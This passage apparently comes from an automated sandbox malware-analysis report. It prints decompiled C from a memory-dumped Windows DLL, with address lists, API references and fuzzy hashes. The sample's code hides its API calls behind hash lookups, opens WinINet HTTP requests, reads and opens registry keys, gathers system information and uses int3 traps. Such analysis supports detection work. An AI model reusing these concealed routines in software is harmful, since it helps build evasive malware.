								}
							}
						}
					} else {
						_t241 =  *(_t249 + 8);
						if(_t241 == 0 || _t241 == 0xffffffff) {
							_t166 = 1;
						} else {
							_t166 = _t244;
						}
						if(_t166 != 0) {
							goto L14;
						} else {
							_t167 = E6ED415C0(0xd27f045a, 0xdda3415f);
							if(_t167 == 0) {
								goto L14;
							} else {
								_push(_t241);
								asm("int3");
								return _t167;
							}
						}
					}
				}
			}

0x6ed63374
0x6ed63377
0x6ed6337d
0x6ed6337f
0x6ed63389
0x6ed63394
0x6ed6339f
0x6ed633aa
0x6ed633b4
0x6ed633b9
0x6ed633c2
0x6ed633cf
0x6ed633dc
0x6ed633eb
0x6ed633fa
0x6ed63407
0x6ed63410
0x6ed63419
0x6ed63429
0x6ed6342b
0x6ed6343f
0x6ed63449
0x6ed63454
0x6ed63459
0x6ed6345b
0x6ed6345b
0x6ed6344b
0x6ed6344b
0x6ed6344b
0x6ed63449
0x6ed63475
0x6ed637cf
0x6ed637d3
0x6ed63804
0x6ed63804
0x6ed63808
0x00000000
0x6ed637d5
0x6ed637d5
0x6ed637d8
0x6ed637da
0x6ed637e5
0x6ed637e5
0x6ed637dc
0x6ed637dc
0x6ed637df
0x00000000
0x6ed637e1
0x6ed637e1
0x6ed637e1
0x6ed637df
0x6ed637ea
0x6ed637ec
0x00000000
0x6ed637ee
0x6ed637f8
0x6ed637fd
0x6ed637ff
0x00000000
0x6ed63801
0x6ed63801
0x6ed63802
0x6ed63803
0x6ed63803
0x6ed637ff
0x6ed637ec
0x6ed6347b
0x6ed63486
0x6ed6348c
0x6ed6348e
0x6ed63494
0x6ed634c5
0x6ed634c5
0x6ed634c9
0x6ed634cc
0x6ed634ce
0x6ed634d9
0x6ed634d9
0x6ed634d0
0x6ed634d0
0x6ed634d3
0x00000000
0x6ed634d5
0x6ed634d5
0x6ed634d5
0x6ed634d3
0x6ed634de
0x6ed634e0
0x6ed636e0
0x6ed636e7
0x6ed636f0
0x6ed636f9
0x6ed63702
0x6ed6370b
0x6ed63714
0x6ed63719
0x6ed63722
0x6ed634e6
0x6ed634e6
0x6ed634ea
0x6ed634f6
0x6ed634ec
0x6ed634ec
0x6ed634ec
0x6ed63508
0x6ed6350f
0x6ed63511
0x6ed63788
0x6ed6378c
0x6ed637bd
0x6ed637bd
0x6ed637c1
0x6ed637c3
0x00000000
0x6ed6378e
0x6ed6378e
0x6ed63791
0x6ed63793
0x6ed6379e
0x6ed6379e
0x6ed63795
0x6ed63795
0x6ed63798
0x00000000
0x6ed6379a
0x6ed6379a
0x6ed6379a
0x6ed63798
0x6ed637a3
0x6ed637a5
0x00000000
0x6ed637a7
0x6ed637b1
0x6ed637b6
0x6ed637b8
0x00000000
0x6ed637ba
0x6ed637ba
0x6ed637bb
0x6ed637bc
0x6ed637bc
0x6ed637b8
0x6ed637a5
0x6ed63517
0x6ed63517
0x6ed6351a
0x6ed63524
0x6ed6352e
0x6ed63544
0x6ed63546
0x6ed63548
0x6ed6354c
0x6ed6357d
0x6ed6357d
0x6ed63584
0x6ed63588
0x6ed6358d
0x6ed63590
0x6ed63592
0x6ed6359d
0x6ed6359d
0x6ed63594
0x6ed63594
0x6ed63597
0x00000000
0x6ed63599
0x6ed63599
0x6ed63599
0x6ed63597
0x6ed635a2
0x6ed635a4
0x6ed63743
0x6ed6374a
0x6ed63753
0x6ed6375c
0x6ed63765
0x6ed6376e
0x6ed63777
0x6ed6377c
0x6ed63785
0x6ed635aa
0x6ed635aa
0x6ed635af
0x6ed635b4
0x6ed635be
0x6ed635c3
0x6ed635c8
0x6ed635c8
0x6ed635cc
0x00000000
0x00000000
0x6ed635d2
0x6ed635d3
0x6ed635d9
0x00000000
0x00000000
0x6ed635db
0x6ed635df
0x00000000
0x6ed635df
0x6ed63727
0x6ed6372a
0x6ed6372f
0x6ed63735
0x00000000
0x6ed63735
0x6ed635e4
0x6ed635e4
0x6ed635e7
0x6ed635e9
0x6ed635f1
0x6ed63604
0x6ed63606
0x6ed63608
0x6ed63616
0x6ed63616
0x6ed63627
0x6ed63629
0x6ed6362b
0x6ed63639
0x6ed63639
0x6ed6362b
0x6ed6363b
0x6ed63652
0x6ed63654
0x6ed63656
0x6ed63667
0x6ed63667
0x6ed63669
0x6ed63680
0x6ed63682
0x6ed63684
0x6ed63694
0x6ed63694
0x6ed6369a
0x6ed636a3
0x6ed636ac
0x6ed636b5
0x6ed636be
0x6ed636c7
0x6ed636d8
0x6ed636d8
0x6ed6354e
0x6ed6354e
0x6ed63551
0x6ed63553
0x6ed6355e
0x6ed6355e
0x6ed63555
0x6ed63555
0x6ed63558
0x00000000
0x6ed6355a
0x6ed6355a
0x6ed6355a
0x6ed63558
0x6ed63563
0x6ed63565
0x00000000
0x6ed63567
0x6ed63571
0x6ed63576
0x6ed63578
0x00000000
0x6ed6357a
0x6ed6357a
0x6ed6357b
0x6ed6357c
0x6ed6357c
0x6ed63578
0x6ed63565
0x6ed6354c
0x6ed63511
0x6ed63496
0x6ed63496
0x6ed6349b
0x6ed634a6
0x6ed634a2
0x6ed634a2
0x6ed634a2
0x6ed634ad
0x00000000
0x6ed634af
0x6ed634b9
0x6ed634c0
0x00000000
0x6ed634c2
0x6ed634c2
0x6ed634c3
0x6ed634c4
0x6ed634c4
0x6ed634c0
0x6ed634ad
0x6ed63494

APIs

InternetConnectW.WININET(00CC0004,?,00000000,00000000,00000000,00000003,00000000,00000000,D27F045A,0E214CDE,?,00000000,?,00000000,00000000,00000000), ref: 6ED6348C
HttpOpenRequestW.WININET(A1310F65,?,?,00000000,00000000,00000000,?,00000000,?,6ED6AA40,A1310F65,D27F045A,8813E141), ref: 6ED63544

Part of subcall function 6ED410E0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6ED41124

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ConnectHttpInternetOpenRequestUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 3503947753-0
Opcode ID: d92120f4e36dd221e974ca4d6d6f7b36cd93784ebcb3b3b296abd10d3bbb394c
Instruction ID: 4eb2f16f374d4a0b6a31ab516e55180293945c203929b244a9abf480cd6c164d
Opcode Fuzzy Hash: d92120f4e36dd221e974ca4d6d6f7b36cd93784ebcb3b3b296abd10d3bbb394c
Instruction Fuzzy Hash: DDC1A030214246EFEB01DFA5CCA4BEFB7A8AFD1398F004928B465472A4EB71D955CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6ED5CAE0, Relevance: 3.2, APIs: 2, Instructions: 207
registryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E6ED5CAE0(void* __ecx) {
				void* __esi;
				intOrPtr _t49;
				int* _t50;
				void* _t52;
				void* _t62;
				int _t99;
				intOrPtr* _t100;
				void* _t101;
				signed short* _t102;
				void* _t129;
				char* _t139;
				void* _t143;
				intOrPtr* _t144;
				intOrPtr* _t146;

				_t143 = __ecx;
				_push(0);
				E6ED59350(_t146 + 0x14);
				_t49 =  *((intOrPtr*)(__ecx + 4));
				if(_t49 == 0 || _t49 == 0xffffffff) {
					_t50 = 1;
				} else {
					_t50 = 0;
				}
				if(_t50 != 0) {
					L11:
					_t99 = 0;
				} else {
					_t139 =  *((intOrPtr*)(_t146 + 0x44));
					if(_t139 == 0 ||  *_t139 != 0) {
						_t129 = _t146 + 8;
						 *((intOrPtr*)(_t129 + 0x18)) = 0;
						 *((intOrPtr*)(_t129 + 0x1c)) = 0;
						E6ED487A0(_t129);
						if(E6ED415C0(0x3ab94787, 0x7c5744d4) != 0) {
							RegQueryValueExW( *(_t143 + 4),  *(_t146 + 0x18), 0, _t146 + 0x20, 0, _t146 + 0x24); // executed
						}
						_t89 =  *(_t146 + 0x24);
						if( *(_t146 + 0x24) != 0) {
							E6ED59670(_t146 + 0x14, _t89);
							if(E6ED415C0(0x3ab94787, 0x7c5744d4) != 0) {
								_t142 =  *(_t143 + 4);
								RegQueryValueExW( *(_t143 + 4),  *(_t146 + 8), 0, _t146 + 0x20, E6ED59640(_t146 + 0x14, 0), _t146 + 0x24); // executed
							}
							_t99 =  *(_t146 + 0x20);
							E6ED48CA0(_t146 + 8);
						} else {
							E6ED48CA0(_t146 + 8);
							goto L11;
						}
					} else {
						goto L11;
					}
				}
				if(_t99 == 2) {
					_t100 = E6ED415C0(0xa1310f65, 0x6ad451b6);
					if(_t100 != 0) {
						_t52 = E6ED59640(_t146 + 0x14, 0);
						 *_t100(_t52, 0, 0);
						_t101 = 0;
					} else {
						_t101 = 0;
					}
					E6ED48810(_t146, _t101);
					_t144 = E6ED415C0(0xa1310f65, 0x6ad451b6);
					if(_t144 != 0) {
						_t62 = E6ED59640(_t146 + 0x14, 0);
						 *_t144(_t62,  *((intOrPtr*)(_t146 + 4)), _t101);
					}
					E6ED488C0( *((intOrPtr*)(_t146 + 0x44)), _t146);
					E6ED48CA0(_t146);
					E6ED59510(_t146 + 0x10);
					return  *((intOrPtr*)(_t146 + 0x40));
				} else {
					if(_t99 != 7) {
						if(_t99 != 1) {
							E6ED48810( *((intOrPtr*)(_t146 + 0x44)), 0);
							E6ED59510(_t146 + 0x10);
							return  *((intOrPtr*)(_t146 + 0x40));
						} else {
							E6ED48AB0( *((intOrPtr*)(_t146 + 0x48)), E6ED59640(_t146 + 0x14, 0), 0);
							E6ED59510(_t146 + 0x10);
							return  *((intOrPtr*)(_t146 + 0x40));
						}
					} else {
						E6ED48810(_t146 + 4, 0);
						_t102 = E6ED59640(_t146 + 0x14, 0);
						while(( *_t102 & 0x0000ffff) != 0) {
							if(E6ED50180( *_t146, 0x7fffffff, _t142) != 0) {
								E6ED496D0(_t146 + 4, 0xa);
							}
							E6ED48AB0(_t146 + 0x30, _t102, 0);
							E6ED50220(_t146 + 8,  *((intOrPtr*)(_t146 + 0x2c)), 0);
							_t102 = _t102 + 2 + E6ED50180( *((intOrPtr*)(_t146 + 0x28)), 0x7fffffff, _t142) * 2;
							E6ED48CA0(_t146 + 0x28);
						}
						E6ED488C0( *((intOrPtr*)(_t146 + 0x44)), _t146);
						E6ED48CA0(_t146);
						E6ED59510(_t146 + 0x10);
						return  *((intOrPtr*)(_t146 + 0x40));
					}
				}
			}

0x6ed5cae6
0x6ed5cae8
0x6ed5caee
0x6ed5caf3
0x6ed5caf8
0x6ed5cb03
0x6ed5caff
0x6ed5caff
0x6ed5caff
0x6ed5cb0a
0x6ed5cb6b
0x6ed5cb6b
0x6ed5cb0c
0x6ed5cb0c
0x6ed5cb12
0x6ed5cb1b
0x6ed5cb1f
0x6ed5cb22
0x6ed5cb25
0x6ed5cb3d
0x6ed5cb54
0x6ed5cb54
0x6ed5cb56
0x6ed5cb5c
0x6ed5cd05
0x6ed5cd1d
0x6ed5cd1f
0x6ed5cd42
0x6ed5cd42
0x6ed5cd44
0x6ed5cd4c
0x6ed5cb62
0x6ed5cb66
0x00000000
0x6ed5cb66
0x00000000
0x00000000
0x00000000
0x6ed5cb12
0x6ed5cb70
0x6ed5cc84
0x6ed5cc88
0x6ed5cc94
0x6ed5cca0
0x6ed5cca2
0x6ed5cc8a
0x6ed5cc8a
0x6ed5cc8a
0x6ed5cca8
0x6ed5ccbc
0x6ed5ccc0
0x6ed5ccc8
0x6ed5ccd3
0x6ed5ccd3
0x6ed5ccdd
0x6ed5cce5
0x6ed5ccee
0x6ed5ccfd
0x6ed5cb76
0x6ed5cb79
0x6ed5cc25
0x6ed5cc5a
0x6ed5cc63
0x6ed5cc72
0x6ed5cc27
0x6ed5cc39
0x6ed5cc42
0x6ed5cc51
0x6ed5cc51
0x6ed5cb7f
0x6ed5cb85
0x6ed5cb95
0x6ed5cb9c
0x6ed5cbad
0x6ed5cbb5
0x6ed5cbb5
0x6ed5cbc1
0x6ed5cbd0
0x6ed5cbe7
0x6ed5cbeb
0x6ed5cbf3
0x6ed5cbff
0x6ed5cc07
0x6ed5cc10
0x6ed5cc1f
0x6ed5cc1f
0x6ed5cb79

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,3AB94787,7C5744D4,00000000), ref: 6ED5CB54

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1a993fb9358f32fd43622a429a7ad0c6ffa3ee027b8f9921b25b7e9b31177733
Instruction ID: 3976662c392c7a279d60a799f2d92bbdecb4c7a82163a95b535f81d3c627e202
Opcode Fuzzy Hash: 1a993fb9358f32fd43622a429a7ad0c6ffa3ee027b8f9921b25b7e9b31177733
Instruction Fuzzy Hash: 63614470214201EBD744EFA4CC91FAB73ECAF55648F100D2DF5959A290EF61ED18CB62

Uniqueness

Uniqueness Score: -1.00%

Function 6ED5C790, Relevance: 3.1, APIs: 2, Instructions: 85
registryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6ED5C790(void* __ecx, void* __edx) {
				intOrPtr _t21;
				int* _t22;
				char* _t47;
				void* _t50;
				void* _t53;

				 *((intOrPtr*)(_t53 + 0x18)) = 0;
				_t50 = __ecx;
				_push(0);
				E6ED59350(_t53 + 4);
				_t21 =  *((intOrPtr*)(__ecx + 4));
				if(_t21 == 0 || _t21 == 0xffffffff) {
					_t22 = 1;
				} else {
					_t22 = 0;
				}
				if(_t22 != 0) {
					L10:
					E6ED59510(_t53);
					return  *((intOrPtr*)(_t53 + 0x18));
				} else {
					_t47 =  *(_t53 + 0x2c);
					if(_t47 == 0 ||  *_t47 != 0) {
						 *(_t53 + 0x10) = 0;
						 *(_t53 + 0x14) = 0;
						if(E6ED415C0(0x3ab94787, 0x8883f185) != 0) {
							RegQueryValueExA( *(_t50 + 4), _t47, 0, _t53 + 0x10, 0, _t53 + 0x14); // executed
						}
						_t26 =  *(_t53 + 0x14);
						if( *(_t53 + 0x14) != 0) {
							E6ED59670(_t53 + 4, _t26);
							if(E6ED415C0(0x3ab94787, 0x8883f185) != 0) {
								RegQueryValueExA( *(_t50 + 4), _t47, 0, _t53 + 0x10, E6ED59640(_t53 + 4, 0), _t53 + 0x14); // executed
							}
							if( *(_t53 + 0x10) == 4) {
								E6ED597D0(_t53 + 8, _t53 + 0x18, 4);
							}
						}
					}
					goto L10;
				}
			}

0x6ed5c798
0x6ed5c79c
0x6ed5c79e
0x6ed5c7a3
0x6ed5c7a8
0x6ed5c7ad
0x6ed5c7b8
0x6ed5c7b4
0x6ed5c7b4
0x6ed5c7b4
0x6ed5c7bf
0x6ed5c805
0x6ed5c80c
0x6ed5c819
0x6ed5c7c1
0x6ed5c7c1
0x6ed5c7c7
0x6ed5c7ce
0x6ed5c7d2
0x6ed5c7e9
0x6ed5c7fb
0x6ed5c7fb
0x6ed5c7fd
0x6ed5c803
0x6ed5c821
0x6ed5c839
0x6ed5c85a
0x6ed5c85a
0x6ed5c861
0x6ed5c86e
0x6ed5c86e
0x6ed5c861
0x6ed5c803
0x00000000
0x6ed5c7c7

APIs

RegQueryValueExA.KERNELBASE(?,?,00000000,?,00000000,?,8883F185,00000000), ref: 6ED5C7FB
RegQueryValueExA.KERNELBASE(?,?,00000000,8883F185,00000000,00000000,00000000,8883F185,?,8883F185,00000000), ref: 6ED5C85A

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1b4fde19d6e27f85aaca9c95f26fbe1a7904d47f24c8b1bb7409f34fb5227349
Instruction ID: d263799e4a3c7e8207dbd41a3c33c8f6c514cad57fa608bb7c4914585d9f6f6d
Opcode Fuzzy Hash: 1b4fde19d6e27f85aaca9c95f26fbe1a7904d47f24c8b1bb7409f34fb5227349
Instruction Fuzzy Hash: 47216D71208316EADB11DFA4CC50AAB7BAC9F91B14F00092EB4559A290EB30D929C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED5C2D0, Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6ED5C2D0(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4, void* _a8, void* _a12) {
				char _v28;
				char _v32;
				unsigned int _v36;
				char _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				long* _v56;
				long _v60;
				long* _v64;
				int _v68;
				intOrPtr _v72;
				signed int _v76;
				long _v80;
				unsigned int _t57;
				signed int* _t59;
				void* _t62;
				void* _t66;
				void* _t74;
				long _t75;
				void* _t76;
				void** _t77;
				long _t78;
				long* _t82;
				void* _t83;
				long _t84;
				long _t102;
				short* _t107;
				long _t117;
				signed int _t122;
				signed int _t123;
				signed int _t124;
				intOrPtr _t125;
				long _t127;
				void* _t130;
				long _t132;
				intOrPtr _t135;
				long _t136;
				long _t140;
				void* _t142;
				long* _t143;

				_push(__esi);
				_push(__edi);
				_t143 = _t142 - 0x40;
				_t82 = __ecx;
				E6ED43930(__ecx, 0, __edi, __esi);
				_t130 =  !=  ? 0 : 0x100;
				_t121 =  <=  ? 0x3000f : 0x20009;
				_t122 = ( <=  ? 0x3000f : 0x20009) | 0x00000100;
				E6ED48810( &_v40, 0x104);
				_t107 =  *((intOrPtr*)(__ecx + 0xc));
				if(_t107 != 0) {
					 *_t107 = 0;
				}
				_t140 = _a8;
				_t57 = E6ED59650(_a4) >> 2;
				if(_t57 > 0) {
					_v56 =  &(_t82[3]);
					_v44 = 0;
					_t16 = _t57 - 1; // -1
					_v76 = _t122;
					_v68 = _t16;
					_v72 = _t130 + 0x20009;
					_t132 = 0;
					_v52 = _t57;
					_v64 = _t82;
					_t123 = 0;
					while(1) {
						L15:
						_t59 = E6ED59640(_a4, _t123 * 4);
						_t83 = 0;
						_v48 = _t123;
						_t124 =  *_t59 ^ 0x38ba5c7b;
						_v52 = _t132;
						while(1) {
							_t62 = E6ED415C0(0x3ab94787, 0xf561ae8b);
							if(_t62 != 0) {
								break;
							}
							E6ED4A0D0( &_v40,  &_v32);
							E6ED483B0( &_v28);
							_t66 = E6ED5D620(_v28, E6ED56040(_v28, 0x7fffffff));
							E6ED50B10( &_v28);
							if(_t66 != _t124) {
								E6ED48CA0( &_v32);
								_t83 = _t83 + 1;
								continue;
							} else {
								_t125 = _v44;
								_t135 =  *((intOrPtr*)( &_v32 - 0x10));
								E6ED48CA0( &_v32);
								if(_t125 != 0) {
									E6ED496D0(_v56, 0x5c);
								}
								E6ED50220(_v56, _v40, 0);
								_v68 = 0;
								if(E6ED415C0(0x3ab94787, 0xd5493f9) == 0) {
									_t117 = 0;
								} else {
									_t77 =  &_v60;
									_t104 =  ==  ?  *((void*)(_t77 - 0x10)) :  *((intOrPtr*)(_t77 - 0xc));
									_t78 = RegOpenKeyExW(_a8,  *(_t77[1]), 0,  ==  ?  *((void*)(_t77 - 0x10)) :  *((intOrPtr*)(_t77 - 0xc)), _t77); // executed
									_t117 = _t78;
								}
								_t84 = _v60;
								if(_t84 == 0 || _t84 == 0xffffffff) {
									L37:
									_t82 = _v64;
									_t136 = _t117;
									goto L4;
								} else {
									if(_t135 == 0) {
										L34:
										_t123 = _t125 + 1;
										_t140 = _t84;
										if(_t123 < _v52) {
											_t132 = 1;
											goto L15;
										} else {
											goto L37;
										}
									} else {
										if(_t140 == 0 || _t140 == 0xffffffff) {
											_t75 = 1;
										} else {
											_t75 = 0;
										}
										if(_t75 != 0) {
											goto L34;
										} else {
											_v80 = _t117;
											_t76 = E6ED415C0(0x3ab94787, 0x91935d4e);
											_t117 =  *_t143;
											if(_t76 == 0) {
												goto L34;
											} else {
												_push(_t140);
												_v80 = _t117;
												asm("int3");
												return _t76;
											}
										}
									}
								}
							}
							goto L38;
						}
						_push(_v36 >> 1);
						_push(_v40);
						_push(_t83);
						_push(_t140);
						asm("int3");
						return _t62;
						goto L38;
					}
				} else {
					_t136 = 0;
					L4:
					if(_t82[2] == 0) {
						L12:
						_t82[1] = _t140;
						_t82[2] = 1;
						E6ED48CA0( &_v40);
						 *_t82 = _t136;
						return _t136;
					} else {
						_t127 = _t82[1];
						if(_t127 == 0 || _t127 == 0xffffffff) {
							_t102 = 1;
						} else {
							_t102 = 0;
						}
						if(_t102 != 0) {
							goto L12;
						} else {
							_t74 = E6ED415C0(0x3ab94787, 0x91935d4e);
							if(_t74 == 0) {
								goto L12;
							} else {
								_push(_t127);
								asm("int3");
								return _t74;
							}
						}
					}
				}
				L38:
			}

0x6ed5c2d0
0x6ed5c2d1
0x6ed5c2d4
0x6ed5c2d7
0x6ed5c2db
0x6ed5c2f4
0x6ed5c30b
0x6ed5c30e
0x6ed5c310
0x6ed5c315
0x6ed5c31a
0x6ed5c31e
0x6ed5c31e
0x6ed5c325
0x6ed5c32e
0x6ed5c333
0x6ed5c393
0x6ed5c399
0x6ed5c39d
0x6ed5c3a0
0x6ed5c3a4
0x6ed5c3a8
0x6ed5c3ac
0x6ed5c3ae
0x6ed5c3b2
0x6ed5c3b6
0x6ed5c3bf
0x6ed5c3bf
0x6ed5c3cb
0x6ed5c3d2
0x6ed5c3d9
0x6ed5c3dd
0x6ed5c3df
0x6ed5c3e3
0x6ed5c3ed
0x6ed5c3f4
0x00000000
0x00000000
0x6ed5c418
0x6ed5c425
0x6ed5c43e
0x6ed5c449
0x6ed5c450
0x6ed5c523
0x6ed5c528
0x00000000
0x6ed5c456
0x6ed5c456
0x6ed5c45e
0x6ed5c461
0x6ed5c468
0x6ed5c470
0x6ed5c470
0x6ed5c47f
0x6ed5c484
0x6ed5c49f
0x6ed5c4c3
0x6ed5c4a1
0x6ed5c4a5
0x6ed5c4ac
0x6ed5c4bd
0x6ed5c4bf
0x6ed5c4bf
0x6ed5c4c5
0x6ed5c4cb
0x6ed5c537
0x6ed5c537
0x6ed5c53b
0x00000000
0x6ed5c4d2
0x6ed5c4d4
0x6ed5c510
0x6ed5c510
0x6ed5c511
0x6ed5c517
0x6ed5c3ba
0x00000000
0x6ed5c51d
0x00000000
0x6ed5c51d
0x6ed5c4d6
0x6ed5c4d8
0x6ed5c4e3
0x6ed5c4df
0x6ed5c4df
0x6ed5c4df
0x6ed5c4ea
0x00000000
0x6ed5c4ec
0x6ed5c4f6
0x6ed5c4fa
0x6ed5c4ff
0x6ed5c504
0x00000000
0x6ed5c506
0x6ed5c506
0x6ed5c507
0x6ed5c50b
0x6ed5c50c
0x6ed5c50c
0x6ed5c504
0x6ed5c4ea
0x6ed5c4d4
0x6ed5c4cb
0x00000000
0x6ed5c450
0x6ed5c3fc
0x6ed5c3fd
0x6ed5c401
0x6ed5c402
0x6ed5c403
0x6ed5c404
0x00000000
0x6ed5c404
0x6ed5c335
0x6ed5c335
0x6ed5c337
0x6ed5c33b
0x6ed5c36c
0x6ed5c36c
0x6ed5c373
0x6ed5c377
0x6ed5c37c
0x6ed5c387
0x6ed5c33d
0x6ed5c33d
0x6ed5c342
0x6ed5c34d
0x6ed5c349
0x6ed5c349
0x6ed5c349
0x6ed5c354
0x00000000
0x6ed5c356
0x6ed5c360
0x6ed5c367
0x00000000
0x6ed5c369
0x6ed5c369
0x6ed5c36a
0x6ed5c36b
0x6ed5c36b
0x6ed5c367
0x6ed5c354
0x6ed5c33b
0x00000000

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f17b59286eec2a0a04a93962903cfa7af11a798c4da61e5b2bbe808ff438f0cb
Instruction ID: 4afa22bb30ba1d089ec4b48dd73dfd153f2f8cf945e06ab3582fa6d965b1eee7
Opcode Fuzzy Hash: f17b59286eec2a0a04a93962903cfa7af11a798c4da61e5b2bbe808ff438f0cb
Instruction Fuzzy Hash: 4D61C431608305DFDB04CFA5C890A6BB7E9AFD4754F108A2DE8A99B350EB30D815CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4430F, Relevance: 1.7, APIs: 1, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6ED4430F(void* __eax, intOrPtr __ebx, void* __esi, void* __ebp, char _a4, struct _SYSTEM_INFO _a344, intOrPtr _a356, intOrPtr _a360, intOrPtr _a364, short _a372, intOrPtr _a380, char _a384, char _a388, char _a400, char _a404, char _a408) {
				char _v0;
				void* _v4;
				char _v16;
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr _t47;
				void* _t48;
				intOrPtr _t54;
				intOrPtr _t56;
				intOrPtr _t59;
				intOrPtr _t64;
				void* _t69;

				_t47 = __ebx;
				if(__eax == 0) {
					E6ED59510( &_a4);
					if(_a408 != 0) {
						E6ED5BE30( &_a404, __esi);
					}
				} else {
					__edx =  *0x6ed6b1f4; // 0xb71340
					if(__edx == 0xc139578) {
						 *0x6ed6b1f4 = 0;
						L26:
						__eax = 0x3ab94787;
						_push(0x3ab94787);
						_v4 = E6ED47564(0x3ab94787);
						if(_v4 == 0) {
							__ecx = 0x3ab94787;
							__eax = E6ED46C50(0x3ab94787);
							if(__al != 0) {
								__eax = 0x3ab94787;
								_push(0x3ab94787);
								 *__esp = E6ED47564(0x3ab94787);
							}
						}
						if(_v4 == 0) {
							L42:
							__ecx =  &_v0;
							__eax = E6ED59510( &_v0);
							if(_a404 != 0) {
								__ecx =  &_a400;
								__eax = E6ED5BE30( &_a400, __esi);
							}
							goto L1;
						} else {
							__esp = __esp + 0xfffffff8;
							__edx = 0xc4b8bd35;
							__eax = _v4;
							__edx = E6ED467C8(_v4, 0xc4b8bd35);
							L29:
							if(__edx == 0) {
								goto L42;
							}
							 *__edi & 0x000000ff = ( *__edi & 0x000000ff) - 1;
							__eax =  *__edx( *__esi, ( *__edi & 0x000000ff) - 1);
							if(__eax == 0) {
								goto L42;
							}
							__eax =  *__eax;
							if(__eax == 0) {
								__esi = 1;
							} else {
								if(__eax == 0x1000) {
									__esi = 2;
								} else {
									if(__eax == 0x2100) {
										__esi = 4;
									} else {
										if(__eax == 0x2000) {
											__esi = 3;
										} else {
											if(__eax == 0x3000) {
												__esi = 5;
											} else {
												if(__eax != 0x4000) {
													__esi = 7;
													__esi =  !=  ? __ebx : 7;
												} else {
													__esi = 6;
												}
											}
										}
									}
								}
							}
							__ecx =  &_v16;
							__eax = E6ED59510( &_v16);
							if(_a388 != 0) {
								__ecx =  &_a384;
								__eax = E6ED5BE30( &_a384, __esi);
							}
							L2:
							_t35 =  *0x6ed6b1f0; // 0xb70528
							 *((intOrPtr*)(_t35 + 0x2c)) = _t64;
							_t56 =  *0x6ed6b1f4; // 0xb71340
							if(_t56 == 0xc139578) {
								 *0x6ed6b1f4 = 0;
								L9:
								_push(0xa1310f65);
								_t48 = E6ED47564(0xa1310f65);
								if(_t48 == 0) {
									if(E6ED46C50(0xa1310f65) != 0) {
										_push(0xa1310f65);
										_t48 = E6ED47564(0xa1310f65);
									}
								}
								if(_t48 == 0) {
									goto L14;
								} else {
									_t69 = _t69 + 0xfffffff8;
									_t59 = E6ED467C8(_t48, 0x4e85f18d);
									goto L12;
								}
							} else {
								if(_t56 == 0) {
									goto L9;
								} else {
									goto L5;
								}
								do {
									L5:
									_t54 = _t47;
									_t45 = _t54;
									while( *((intOrPtr*)(_t45 + _t56 + 8)) != 0x4e85f18d) {
										_t54 = _t54 + 1;
										_t45 = _t45 + 0x18;
										if(_t54 < 0x10) {
											continue;
										}
										goto L8;
									}
									_t59 =  *((intOrPtr*)(_t45 + _t56 + 0x14));
									if(_t59 != 0) {
										L12:
										if(_t59 != 0) {
											GetSystemInfo( &_a344);
										}
										L14:
										_t39 =  *0x6ed6b1f0; // 0xb70528
										 *((short*)(_t39 + 0xe)) = _a372;
										 *((intOrPtr*)(_t39 + 0x10)) = _a356;
										 *((intOrPtr*)(_t39 + 0x14)) = _a360;
										 *((intOrPtr*)(_t39 + 0x18)) = _a364;
										 *((intOrPtr*)(_t39 + 0x1c)) = _a380;
										return _t39;
									} else {
										goto L9;
									}
									L8:
									asm("o16 nop [eax+eax]");
									_t4 = _t56 + 0x180; // 0xb78e68
									_t56 =  *_t4;
								} while (_t56 != 0);
								goto L9;
							}
						}
					}
					if(__edx == 0) {
						goto L26;
					} else {
						goto L22;
					}
					do {
						L22:
						__ecx = __ebx;
						__eax = __ecx;
